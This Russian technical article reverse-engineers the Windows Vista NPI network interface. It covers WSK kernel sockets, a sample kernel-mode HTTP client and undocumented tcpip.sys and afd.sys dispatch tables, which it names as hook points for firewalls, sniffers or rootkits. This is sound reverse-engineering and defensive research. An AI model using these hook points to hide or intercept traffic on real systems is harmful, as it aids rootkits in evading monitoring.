Сетевой программный интерфейс Windows Vista/2008: внутреннее устройство, использование и взлом
Приход Windows Vista поломал представление о сетевой подсистеме линейки NT как о последовательно развивающейся сущности. TDI уходит в прошлое, так же, как и старые версии NDIS. Более продвинутые и более удобные технологии управления сетевой подсистемой, расширяемость – те плюсы, о которых говорит Microsoft в своих докладах. Не все это так на самом деле, да и поставщики защитного ПО не всегда следуют заветам документации, предпочитая более изощренные, а вместе с тем и нестабильные способы установки триггеров в системе. В этот раз речь пойдет о внутреннем устройстве интерфейса прикладного уровня сетевой подсистемы Windows Vista – NPI. Также будут представлены примеры его использования в самой системе – будут описаны сокеты ядра WSK и прикладной интерфейс TCP/IP стека. Также будет показана практическая реализация некоторых нестандартных методик, уже использующихся поставщиками персональных фаерволов.
Следует отметить, что все, что будет сказано в адрес сетевой подсистемы Windows Vista равным образом относится и к последующей Windows 2008. 32-битная система будет рассматривается наравне с 64-битной, поэтому все принципы работы и весь исходный код, представленный далее, будут работать как на x86, так и на x64 версии ОС.
Введение в NPI
Network Programming Interface, или NPI – одно из нововведений Windows Vista, которое унифицирует прикладные интерфейсы сетевой подсистемы и представляет собой интерфейс взаимодействия двух ее частей: NPI провайдерами и NPI клиентами. Эта технология была разработана как замена старой, отслужившей свой срок TDI — Transport Driver Interface, представлявшей собой интерфейс режима ядра, находившийся на самой вершине стека протоколов – т.е. прикладной интерфейс взаимодействия с сетью. TDI был тесно связан с моделью построения драйверов в ОС Windows, начиная с Windows NT 3. Поэтому TDI позволяла совершать над собой много недокументированных действий, которые активно использовались как разработчиками персональных брандмауэров (в дальнейшем — фаерволлов), так и разработчиками руткитов. А некоторые защиты, не мудрствуя лукаво, располагали всю свою защиту на уровне TDI. Именно поэтому понадобилось абстрагироваться от пакетов ввода-вывода, специфичных устройств, функций и т.п. и урезать программиста в его правах. Но, как это принято в Windows, Vista унаследовала поддержку TDI драйверов и гарантирует их стабильную работу, хотя Microsoft рекомендует использовать в проектах только NPI. Поэтому защиты, работающие в Windows Vista, которые все еще располагаются на TDI уровне (а такие есть) будут оставаться в святом неведении. Если вкратце, то NPI представляет собой объекты с callback-функциями, которые регистрируются провайдерами NPI, и используются NPI клиентами. Сам NPI поддерживается библиотекой NMR — Network Modules Registrar, которая экспортирует набор NmrXxx() функций, располагающихся в драйвере netio.sys. Рассмотрим наиболее важные из них, знание о которых потребуется в дальнейшем при построении систем защит и нападения:
Если драйвер желает быть зарегистрированным как NPI провайдер, ему предоставляются функции NmrRegisterProvider() и NmrDeregisterProvider() для регистрации и отмены регистрации соответственно:
NTSTATUS NmrRegisterProvider( IN PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics, IN PVOID ProviderContext, OUT PHANDLE NmrProviderHandle ); NTSTATUS NmrDeregisterProvider( IN HANDLE NmrProviderHandle );
Структура NPI_PROVIDER_CHARACTERISTICS описывается следующим образом:
typedef struct _NPI_PROVIDER_CHARACTERISTICS { USHORT Version; USHORT Length; PNPI_PROVIDER_ATTACH_CLIENT_FN ProviderAttachClient; PNPI_PROVIDER_DETACH_CLIENT_FN ProviderDetachClient; PNPI_PROVIDER_CLEANUP_BINDING_CONTEXT_FN ProviderCleanupBindingContext; NPI_REGISTRATION_INSTANCE ProviderRegistrationInstance; } NPI_PROVIDER_CHARACTERISTICS, *PNPI_PROVIDER_CHARACTERISTICS;
Указатели на callback функции заполняются провайдером для возможности реакции на соответствующие действия, самые важные функции, которые должны быть указаны:
- ProviderAttachClient() для реакции на подключения NPI клиента к провайдеру
- ProviderDetachClient() для реакции на отключение NPI клиента от провайдера
Эти функции вызываются NMR, когда какой-либо клиент желает подключиться к провайдеру.
Для регистрации клиента, NMR экспортирует функцию NmrRegisterClient() и NmrDeregisterClient() для выполнения обратного действия:
NTSTATUS NmrRegisterClient( IN PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics, IN PVOID ClientContext, OUT PHANDLE NmrClientHandle ); NTSTATUS NmrDeregisterClient( IN HANDLE NmrClientHandle );
Очень похоже на функции регистрации провайдера, не так ли? Структура NPI_CLIENT_CHARACTERISTICS не будет исключением:
typedef struct _NPI_CLIENT_CHARACTERISTICS { USHORT Version; USHORT Length; PNPI_CLIENT_ATTACH_PROVIDER_FN ClientAttachProvider; PNPI_CLIENT_DETACH_PROVIDER_FN ClientDetachProvider; PNPI_CLIENT_CLEANUP_BINDING_CONTEXT_FN ClientCleanupBindingContext; NPI_REGISTRATION_INSTANCE ClientRegistrationInstance; } NPI_CLIENT_CHARACTERISTICS, *PNPI_CLIENT_CHARACTERISTICS;
Поле ClientRegistrationInstance определяет одну важную структуру, которая описывает провайдера, к которому клиент собирается подключиться:
typedef struct _NPI_REGISTRATION_INSTANCE { USHORT Version; USHORT Size; PNPIID NpiId; PNPI_MODULEID ModuleId; ULONG Number; CONST VOID *NpiSpecificCharacteristics; } NPI_REGISTRATION_INSTANCE, *PNPI_REGISTRATION_INSTANCE;
Наиболее важные поля структуры — ModuleId и NpiId:
typedef struct { unsigned long Data1; unsigned short Data2; unsigned short Data3; byte Data4[ 8 ]; } GUID; typedef GUID NPIID, *PNPIID; typedef struct _NPI_MODULEID { USHORT Length; NPI_MODULEID_TYPE Type; union { GUID Guid; IF_LUID IfLuid; }; } NPI_MODULEID, *PNPI_MODULEID;
Заполнив ModuleId и NpiId известной последовательностью байтов, мы можем точно определить провайдера, к которому мы собираемся подключиться.
WSK
Драйвер afd.sys являлся связующим звеном между драйвером TCP/IP стека tcpip.sys и библиотек пользовательского уровня Winsock. Помимо этих функций, оставшихся еще со времен NT 3, afd.sys висты регистрируется как NPI провайдер и предоставляет доступ к WSK – Winsock Kernel, сокетам режима ядра. Как уже было сказано, TDI является достаточно сложным интерфейсом, организация доступа к сети через который представляется непростой задачей. В WSK этот вопрос решается с полпинка, и наскоро написанный код уже начинает работать. WSK предоставляет набор WskXxx() функций, аналогичных по функциональности сокетам BSD — WskSocket(), WskConnect(), WskReceive(), WskSend(), WskCloseSocket(), что соответствует вызовам socket(), connect(), recv(), send, close(). Но все же есть небольшое отличие от сокетов прикладного уровня – сокеты WSK не блокирующие, поэтому чтобы иметь блокирующие сокеты (что намного удобнее при разработке простых приложений), необходимо написать небольшие функции-обертки для каждого WskXxx()-вызова или же блокировать вызов функции в самом коде, и код будет выглядеть объемнее. WSK разработана следующим образом: сами функции подключения к WSK-провайдеру экспортируются NMR (netio.sys), но функционал WSK (т.е. те самые WskXxx() callbacks) располагается в afd.sys. Таким образом, любой драйвер в системе может зарегистрироваться как провайдер услуг WSK, но проблема в том, что интерфейс взаимодействия с tcpip.sys через NPI не документирован. Рассмотрим интерфейс WSK, как частный случай использования NPI, который, к тому же, может помочь разработчикам предельно просто организовывать сетевое взаимодействие в режиме ядра.
Для регистрации в качестве клиента WSK, NMR экспортирует функцию WskRegister(), хорошо документированную в WDK, которая вызывается следующим образом:
static WSK_REGISTRATION g_WskRegistration; static WSK_CLIENT_DISPATCH g_WskDispatch = {MAKE_WSK_VERSION(1,0), 0, NULL}; … WSK_CLIENT_NPI WskClient = {0}; NTSTATUS Status = STATUS_UNSUCCESSFUL; WskClient.ClientContext = NULL; WskClient.Dispatch = &g_WskDispatch; Status = WskRegister(&WskClient, &g_WskRegistration); if (!NT_SUCCESS(Status)) { DbgPrint("DriverEntry(): WskRegister() failed with status 0x%08X\n", Status); return Status; }
Исследование внутреннего устройства функции WskRegister() дает нам понять, что она просто вызывает NmrRegisterClient() с NpiId = NPI_WSK_INTERFACE_ID и ModuleId = WSKLIB_WSK_CLIENT_MODULEID. После того, как клиент зарегистрировался у WSK провайдера, ему необходимо вызвать функцию ожидания его загрузки. Да, может случиться так, что наш драйвер будет загружен раньше afd.sys, или он вообще может быть не загружен – например, при загрузке системы в безопасном режиме.
Status = WskCaptureProviderNPI(&g_WskRegistration, WSK_CAPTURE_WAIT_TIMEOUT_MSEC, &g_WskProvider); if (!NT_SUCCESS(Status)) { DbgPrint("DriverEntry(): WskCaptureProviderNPI() failed with status 0x%08X\n", Status); WskDeregister(&g_WskRegistration); return Status; }
WskCaptureProviderNPI() просто ожидает вызова callback ClientAttachProvider(), после вызова которого мы будем уверены в том, что библиотека загрузилась. Когда afd.sys примет запрос на регистрацию клиента, он возвратит указатель на таблицу обработчиков, которые мы можем использовать для манипуляции с сокетами. Те самые WskXxx() callbacks. Указатель на эту таблицу будет возвращен в g_WskProvider.Dispatch:
typedef struct _WSK_PROVIDER_DISPATCH { USHORT Version; USHORT Reserved; PFN_WSK_SOCKET WskSocket; PFN_WSK_SOCKET_CONNECT WskSocketConnect; PFN_WSK_CONTROL_CLIENT WskControlClient; } WSK_PROVIDER_DISPATCH, *PWSK_PROVIDER_DISPATCH;
Теперь каждый клиент, который хочет установить TCP-подключение или послать UDP-пакет, может использовать эти функции. Данная структура имеется в единственном виде внутри afd.sys, и указатель на нее получают все WSK клиенты без исключения. Эти обработчики могут быть перехвачены сниффером или другим инструментом, который будет иметь возможность регулирования доступа к WSK. Давайте заглянем еще глубже в недра afd.sys: регистрация afd.sys как провайдера WSK происходит в функции AfdWskStartProviderModule() (вполне себе говорящее название), где afd.sys вызывает NmrRegisterProvider() с параметром ProviderCharacteristics, указывающим на структуру AfdWskProviderNotify:
NPIID NPI_WSK_INTERFACE_ID = { 0x2227E803, 0x8D8B, 0x11D4, {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09} }; NPI_MODULEID NPI_MS_WSK_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A0D, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} }; NPI_PROVIDER_CHARACTERISTICS AfdWskProviderNotify = { 0, sizeof(NPI_PROVIDER_CHARACTERISTICS), AfdWskNotifyAttachClient, AfdWskNotifyDetachClient, AfdWskNotifyCleanupClientContext, {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_WSK_INTERFACE_ID, &NPI_MS_WSK_MODULEID, 0, &AfdWskProviderCharacter} };
Данная структура находится в секции .rdata, которая имеет атрибут read only, что необходимо учитывать при установке возможных перехватов. Теперь понятно, какая функция просыпается при вызове WskRegister() – именно AfdWskNotifyAttachClient() возвращает указатель на диспетчерскую таблицу, описанную выше структурой WSK_PROVIDER_DISPATCH. Эта таблица имеет имя WskProAPIProviderDispatch, которая как и AfdWskProviderNotify, располагается в секции .rdata драйвера afd.sys:
WSK_PROVIDER_DISPATCH WskProAPIProviderDispatch = { MAKE_WSK_VERSION(1,0), WskProAPISocket, WskProAPISocketConnect, AfdWskControlClient };
Имея указатель на WskProAPIProviderDispatch, мы можем перехватить три вызова – WskSocket(), WskSocketConnect(), WskControlClient(). Теперь, в зависимости от того, какие флаги были переданы WskSocket() или WskSocketConnect() (WSK_FLAG_DATAGRAM_SOCKET/ WSK_FLAG_CONNECTION_SOCKET/ WSK_FLAG_LISTEN_SOCKET), этим функциям будут возвращены другие таблицы, описывающие уже сокет определенной категории (подробнее в WDK):
Для сокетов, предназначенных для отправки дейтаграмм, мы получим указатель на структуру WSK_PROVIDER_DATAGRAM_DISPATCH:
WSK_PROVIDER_DATAGRAM_DISPATCH WskProAPIDatagramSocketDispatch = { WskProAPIControlSocket, WskProAPICloseSocket, WskProAPIBind, WskProCoreCloseSocket, WskProAPIReceiveFrom, WskProAPIReleaseC, WskProAPIGetLocalAddress };
Для сокетов, ориентированных на подключения — WSK_PROVIDER_CONNECTION_DISPATCH:
WSK_PROVIDER_CONNECTION_DISPATCH WskProAPIConnectionSocketDispatch = { WskProAPIControlSocket, WskProAPICloseSocket, WskProAPIBind, WskProAPIConnect, WskProAPIGetLocalAddress, WskProAPIGetRemoteAddress, WskProAPISend, WskProAPIReceive, WskProAPIDisconnect, WskProAPIReleaseC };
Или WSK_PROVIDER_LISTEN_DISPATCH, если задумаем организовать слушающий сокет:
WSK_PROVIDER_LISTEN_DISPATCH WskProAPIListenSocketDispatch = { WskProAPIControlSocket, WskProAPICloseSocket, WskProAPIBind, WskProAPIAccept, WskProAPIResume, WskProAPIGetLocalAddress
};
По аналогии с остальными таблицами, мы можем перехватить обработчики, находящиеся в этих таблицах. Рассмотрим простой пример TCP клиента на WSK, который подключается к google.com:80, делает GET запрос и получает ответ веб-сервера. С помощью WskCaptureProviderNPI() мы уже получили указатель на структуру WSK_PROVIDER_NPI и первое, что собираемся сделать – это создать сокет, используя функцию WSK_PROVIDER_NPI.Dispatch->WskSocket():
static NTSTATUS MakeHttpRequest( __in PWSK_PROVIDER_NPI WskProvider, __in PSOCKADDR_IN LocalAddress, __in PSOCKADDR_IN RemoteAddress, __in PWSK_BUF HttpRequest, __out PWSK_BUF HttpResponse, __in PIRP Irp // can be reused ) { KEVENT CompletionEvent = {0}; PWSK_PROVIDER_CONNECTION_DISPATCH SocketDispatch = NULL; PWSK_SOCKET WskSocket = NULL; … KeInitializeEvent(&CompletionEvent, SynchronizationEvent, FALSE); IoReuseIrp(Irp, STATUS_UNSUCCESSFUL); IoSetCompletionRoutine(Irp, CompletionRoutine, &CompletionEvent, TRUE, TRUE, TRUE); Status = WskProvider->Dispatch->WskSocket( WskProvider->Client, AF_INET, SOCK_STREAM, IPPROTO_TCP, WSK_FLAG_CONNECTION_SOCKET, NULL, NULL, NULL, NULL, NULL, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskSocket() failed with status 0x%08X\n", Status); return Status; } WskSocket = (PWSK_SOCKET)Irp->IoStatus.Information; SocketDispatch = (PWSK_PROVIDER_CONNECTION_DISPATCH)WskSocket->Dispatch;
Как видно, WskSocket() требует указатель на структуру IRP, которую мы предварительно должны выделить для этих нужд. Одну и ту же IRP можно использовать несколько раз, чем мы и воспользуемся, вызвав IoReuseIrp(). Как уже было сказано, функции WSK – не блокирующие, поэтому для такого простого приложения как наше достаточно дождаться выполнения WskSocket(), о завершении которой нам просигналит функция завершения CompletionRoutine(), указанная в IoSetCompletionRoutine():
static NTSTATUS NTAPI CompletionRoutine( __in PDEVICE_OBJECT DeviceObject, __in PIRP Irp, __in PKEVENT CompletionEvent ) { ASSERT( CompletionEvent ); KeSetEvent(CompletionEvent, IO_NO_INCREMENT, FALSE); return STATUS_MORE_PROCESSING_REQUIRED; }
После успешного создания сокета его следует привязать к локальному адресу, с которого будет происходить подключение. Если в BSD сокетах это делать необязательно, то в WSK вызов WskConnect() завершится с ошибкой без предварительного вызова WskBind(). Не заморачиваясь сильно укажем INADDR_ANY в качестве локального адреса, WskBind() это допускает:
LocalAddress.sin_family = AF_INET; LocalAddress.sin_addr.s_addr = INADDR_ANY; LocalAddress.sin_port = 0; … Status = SocketDispatch->WskBind( WskSocket, (PSOCKADDR)LocalAddress, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskBind() failed with status 0x%08X\n", Status); CloseWskSocket(SocketDispatch, WskSocket); return Status; }
Ну и, наконец, подключаемся:
RemoteAddress.sin_family = AF_INET; RemoteAddress.sin_addr.s_addr = HOST_ADDRESS; RemoteAddress.sin_port = HTONS(HOST_PORT); … Status = SocketDispatch->WskConnect( WskSocket, (PSOCKADDR)RemoteAddress, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskConnect() failed with status 0x%08X\n", Status); CloseWskSocket(SocketDispatch, WskSocket); return Status; }
А вообще, последовательность трех вызовов WskSocket(), WskBind(), WskConnect() можно заменить на один вызов WskSocketConnect(), который также экспортируется WSK. Следующее действие — посылка HTTP запроса:
Status = SocketDispatch->WskSend( WskSocket, HttpRequest, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskSend() failed with status 0x%08X\n", Status); CloseWskSocket(SocketDispatch, WskSocket); return Status; }
Принимаем данные от веб-сервера:
Status = SocketDispatch->WskReceive( WskSocket, &WskBuffer, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("ReceiveHttpResponse(): WskReceive() failed with status 0x%08X\n", Status); break; }
Функция закрытия сокета делает свою работу:
Status = SocketDispatch->WskCloseSocket(WskSocket, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("CloseWskSocket(): WskCloseSocket() failed with status 0x%08X\n", Status); }
WskCloseSocket() – тоже не блокирующая функция. Мы ведь помним об обмене FIN пакетами и таймаутах при корректном завершении TCP сессии? 😉 После того, как ответ сервера принят, из него можно получить и что-нибудь полезное:
MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): Connected, sending the request... MakeHttpRequest(): 56 bytes of the request successfully sent MakeHttpRequest(): Receiving the answer... MakeHttpRequest(): Received 497 bytes of data ==> google.com says that today is: Mon, 11 May 2009 11:51:27 GMT MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): Connected, sending the request... MakeHttpRequest(): 56 bytes of the request successfully sent MakeHttpRequest(): Receiving the answer... MakeHttpRequest(): Received 497 bytes of data ==> google.com says that today is: Mon, 11 May 2009 11:51:32 GMT …
Данный способ коммуникации с внешним миром вполне работоспособен и успешно детектируется персональными фаерволами, работающими на NPI уровне. Само подключение будет видно в списке подключений, выводимом netstat или TcpView. Интересная ситуация для фаервола получается, если WSK станет пользоваться какой-нибудь легальный драйвер наравне с руткитом, засевшем в системе. Разве что доступ к WSK будет обрезаться по строгому набору правил, через которые руткиту пройти не удастся.
Для еще большей простоты использования WSK была разработана библиотека simplewsk, функции которой являются обертками вокруг WskXxx() функций и похожи на функции BSD sockets. Помимо того, что все функции блокирующие по умолчанию, мы избегаем встреч со структурой WSK_BUF, использование которой не всегда подходит для построения простых приложений. Исходники библиотеки и пример использования в виде эхо сервера вы можете найти в конце статьи.
Внутреннее устройство NPI
Как уже было сказано, на замену TDI пришел NPI, и Windows Vista использует именно NPI в драйверах, оставив TDI для совместимости. Если раньше tcpip.sys регистрировался как TDI-провайдер, то теперь он является NPI-провайдером, и вся работа проходит по этому каналу. Вкратце напомню, идеология NPI такова: провайдер регистрирует набор callback-функций, которые использует клиент. Так было в afd.sys, так происходит и с tcpip.sys. Мы могли бы зарегистрироваться как еще один NPI клиент tcpip.sys (помимо официального afd.sys), существуют аналогичные callback-функции, которые можно перехватить, и иметь контроль над потоком всех данных в системе. Хотя если быть точнее, в таком случае контроль будет только над данными, передающимися в пределах TCP/IP стека Windows. Сразу нужно сказать, что сделать это быстро и безболезненно не удастся. Для начала взглянем, как устроены функции NmrRegisterProvider() и NmrRegisterClient():
#define PROVIDER_MODULE 2 #define CLIENT_MODULE 1 NTSTATUS NmrRegisterProvider( PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics, PVOID ProviderContext, PHANDLE NmrProviderHandle ) { NTSTATUS Status; HANDLE hProvider; … Status = NmrpVerifyModule(_ReturnAddress(), FALSE, ProviderCharacteristics); if (NT_SUCCESS(Status)) { Status = NmrpRegisterModule(PROVIDER_MODULE, ProviderCharacteristics, ProviderContext, &hProvider); if (NT_SUCCESS(Status)) *NmrProviderHandle = hProvider; } return Status; } NTSTATUS NmrRegisterClient( PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics, PVOID ClientContext, PHANDLE NmrClientHandle ) { NTSTATUS Status; HANDLE hClient; … Status = NmrpVerifyModule(_ReturnAddress(), TRUE, ClientCharacteristics); if (NT_SUCCESS(Status)) { Status = NmrpRegisterModule(CLIENT_MODULE, ClientCharacteristics, ClientContext, &hClient); if (NT_SUCCESS(Status)) *NmrClientHandle = hClient; } return Status; }
Очень интересна неэкспортируемая функция NmprVerifyModule(), которой передается адрес возврата из функций NmrRegisterProvider()/NmrRegisterClient(): она сверяет указатели на callback-функции и адрес возврата со списком провайдеров и соответствующих NPIID структур – при определенных GUID’ах, эти функции должны указывать точно в драйвер, который в списке соответствует определенному GUID. NmprVerifyModule() проверяет, если поле NpiId, переданное в структуре NPI_REGISTRATION_INSTANCE, равно NPI_TRANSPORT_LAYER_ID, NPI_WSK_INTERFACE_ID или NPI_CCM_INTERFACE_ID, то она вызывает функцию ZwQuerySystemInformation() для получения списка загруженных модулей ядра и проходится по списку драйверов, пытаясь найти драйвер, в образ которого указывает переданный адрес возврата. Если владелец найден, далее сверяется указатели на функции ProviderDetachClient()/ClientDetachProvider() – а принадлежат ли они владельцу? Если функции указывают в найденные модули, под конец NmprVerifyModule() делает проверку пути модуля, по которому располагается драйвер. Если путь равен “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” или “\systemroot\system32\drivers\tcpip.sys”, регистрация разрешается. С одной стороны идеология NPI предоставляет нам возможность замены одной части сетевой подсистемы Windows Vista на другую, а с другой жестко закрепляет за некоторыми частями системы их место. Из обзора функции NmprVerifyModule() можно вынести следующие правила:
Только afd.sys может быть зарегистрирован как WSK провайдер (NpiId = NPI_WSK_INTERFACE_ID)Кто угодно может быть зарегистрирован как WSK клиент (NpiId = NPI_WSK_INTERFACE_ID), что вполне логичноТолько tcpip.sys может быть зарегистрирован как провайдер транспортного уровня (NpiId = NPI_TRANSPORT_LAYER_ID)Только tdx.sys или afd.sys могут быть зарегистрированы как NPI клиенты транспортного уровня (NpiId = NPI_TRANSPORT_LAYER_ID)
Упомянутый tdx.sys представляет собой NPI клиент транспортного уровня, который подключается к tcpip.sys и организует TDI для старых драйверов. В будущем Microsoft может просто от него избавиться. Ставить защиту на TDI уровне в Windows Vista смысла особого нет, т.к. персональные фаерволлы могут перехватывать callback-функции драйвера tcpip.sys, располагающегося уровнем ниже, и, таким образом, иметь рычаг управления сетевой подсистемой на прикладном уровне в режиме ядра. Как и любой другой добропорядочный NPI провайдер, tcpip.sys вызывает NmrRegisterProvider() для регистрации себя в качестве провайдера услуг транспортной связи из внутренней функции InetStartNsiProvider(), которая вызывается несколько раз для каждого протокола, который предоставляет tcpip.sys. Разберем самые интересные для нас:
NTSTATUS TcpStartConfigModule() { NTSTATUS Status; Status = InetStartNsiProvider(&TcpInetTransport, &TcpNsiInterfaceDispatch); If (NT_SUCCESS(Status)) { … } return Status; } NTSTATUS UdpStartConfigModule() { NTSTATUS Status; Status = InetStartNsiProvider(&UdpInetTransport, &UdpNsiInterfaceDispatch); If (NT_SUCCESS(Status)) { … } return Status; } NTSTATUS RawStartConfigModule() { NTSTATUS Status; Status = InetStartNsiProvider(&RawInetTransport, &RawNsiInterfaceDispatch); If (NT_SUCCESS(Status)) { … } return Status; }
Если NmrRegisterProvider() вызывается для всех протоколов, которые предоставляет tcpip.sys, то должна иметься структура NPI_MODULEID, описывающая каждого из них:
NPI_MODULEID NPI_MS_TCP_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A03, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} }; NPI_MODULEID NPI_MS_UDP_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A02, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} }; NPI_MODULEID NPI_MS_RAW_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A07, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} };
Так что же внутри переменных TcpInetTransport, UdpInetTransport, RawInetTransport, TcpNsiInterfaceDispatch, UdpNsiInterfaceDispatch и RawNsiInterfaceDispatch? Кое-что интересное. Для начала, TcpInetTransport, UdpInetTransport и RawInetTransport заполняются функциями TcpStartInetModule(), UdpStartInetModule() и RawStartInetModule() соответственно. Переменные XxxInetTransport описываются в виде структуры, формат которой не документирован. Это, впрочем, неважно, но есть одна маленькая деталь – одно из полей этих структур содержит указатель на соответствующую структуру типа NPI_MODULEID: NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID и т.д.. А также они содержат указатели на внутренние callback-функции:
- TcpInitializeAf(), TcpCleanupAf(), TcpDetachAf() для провайдера TCP
- UdpInitializeAf(), UdpCleanAf() для провайдера UDP
- RawInitializeAf(), RawCleanupAf() для провайдера Raw IP
- RawInitializeClient(), RawNlClientAddInterface() для всех остальных протоколов (просто стабы — xor eax, eax / ret)
Структуры XxxNsiInterfaceDispatch являются лишь составной частью соответствующих структур XxxInetTransport. После инициализации и регистрации провайдера, tcpip.sys вызывает функцию InetStartTlProviderTransport(), которая запускает внутренний механизм, который стартует модули: TcpStartProviderModule(), UdpStartProviderModule() и RawStartProviderModule():
NTSTATUS TcpStartProviderModule() { NTSTATUS Status; Status = InetStartTlProviderTransport( &TcpInetTransport, sizeof(…), &TcpTlProviderCharacteristics, &TcpTlProviderDispatch); If (NT_SUCCESS(Status)) { … } return Status; } NTSTATUS UdpStartProviderModule() { NTSTATUS Status; Status = InetStartTlProviderTransport( &UdpInetTransport, sizeof(…), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch); If (NT_SUCCESS(Status)) { … } return Status; } NTSTATUS RawStartProviderModule() { NTSTATUS Status; Status = InetStartTlProviderTransport( &UdpInetTransport, sizeof(…), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch); If (NT_SUCCESS(Status)) { … } return Status; }
InetStartTlProviderTransport() вызывает NmrRegisterProvider(), и в ProviderCharacteristics передает указатель на структуру InetTlProviderNotify:
NPIID NPI_TRANSPORT_LAYER_ID = { 0x2227E804, 0x8D8B, 0x11D4, {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09} }; NPI_PROVIDER_CHARACTERISTICS InetTlProviderNotify = { 0, sizeof(NPI_PROVIDER_CHARACTERISTICS), InetTlNotifyAttachClient, InetTlNotifyDetachClient, WfpAlepPeerInformationFree, {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, 0, NULL} };
Теперь видно, что каждый транспортный протокол регистрируется с помощью NmrRegisterProvider(), но при подключении к нему клиента, каждый раз вызывается функция InetTlNotifyAttachClient(), в которой происходит обработка подключения клиента. InetStartTlProviderTransport() сохраняет переданные указатели XxxTlProviderCharacteristics и XxxTlProviderDispatch в одно из полей переданной XxxInetTransport (нам все еще нет дела до смещений и полей). Существует несколько структур XxxTlProviderXxxDispatch, содержащих обработчики, которые возвращает tcpip.sys клиенту (в официальном случае – это afd.sys), которые он использует. Ну и, кульминационный момент:
Обработчики TCP:
PVOID TcpTlProviderDispatch[8] = { TcpTlProviderIoControl, TlDefaultRequestQueryDispatch, TcpTlProviderEndpoint, TlDefaultRequestMessage, TcpTlProviderListen, TcpTlProviderConnect, TcpTlProviderReleaseIndicationList, TcpTlProviderCancel }; PVOID TcpTlProviderEndpointDispatch[3] = { TcpTlEndpointCloseEndpoint, TcpTlEndpointIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint }; PVOID TcpTlProviderListenDispatch[4] = { TcpTlListenerCloseEndpoint, TcpTlListenerIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, TcpTlListenerResumeConnection }; PVOID TcpTlProviderConnectDispatch[6] = { TcpTlConnectionCloseEndpoint, TcpTlConnectionIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, TcpTlConnectionSend, TcpTlConnectionReceive, TcpTlConnectionDisconnect };
Обработчики UDP:
PVOID UdpTlProviderDispatch[8] = { UdpTlProviderIoControl, TlDefaultRequestQueryDispatch, UdpTlProviderEndpoint, UdpTlProviderMessage, TlDefaultRequestListen, TlDefaultRequestConnect, RawTlProviderReleaseIndicationList, TlDefaultRequestCancel }; PVOID UdpTlProviderEndpointDispatch[3] = { UdpTlProviderCloseEndpoint, UdpTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint }; PVOID UdpTlProviderMessageDispatch[4] = { UdpTlProviderCloseEndpoint, UdpTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, UdpTlProviderSendMessages };
Последние таблицы относятся к Raw IP:
PVOID RawTlProviderDispatch[8] = { TlDefaultRequestIoControl, TlDefaultRequestQueryDispatch, RawTlProviderEndpoint, RawTlProviderMessage, TlDefaultRequestListen, TlDefaultRequestConnect, RawTlProviderReleaseIndicationList, TlDefaultRequestCancel }; PVOID RawTlProviderEndpointDispatch[3] = { RawTlProviderCloseEndpoint, RawTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint }; PVOID RawTlProviderMessageDispatch[4] = { RawTlProviderCloseEndpoint, RawTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, RawTlProviderSendMessages };
Ну, а ConnectDispatch таблиц у UDP и Raw IP понятное дело быть не может. Все TlDefaultXxx() обработчики импортируются из netio.sys, которые все сводятся к одной функции с единственным оператором return STATUS_NOT_IMPLEMENTED. Через эти таблицы проходят все вызовы системы, обращающиеся к TCP/IP стеку системы, очень удобно ухватиться за это место и регулировать обращения клиентов. Что фаерволлы и делают.
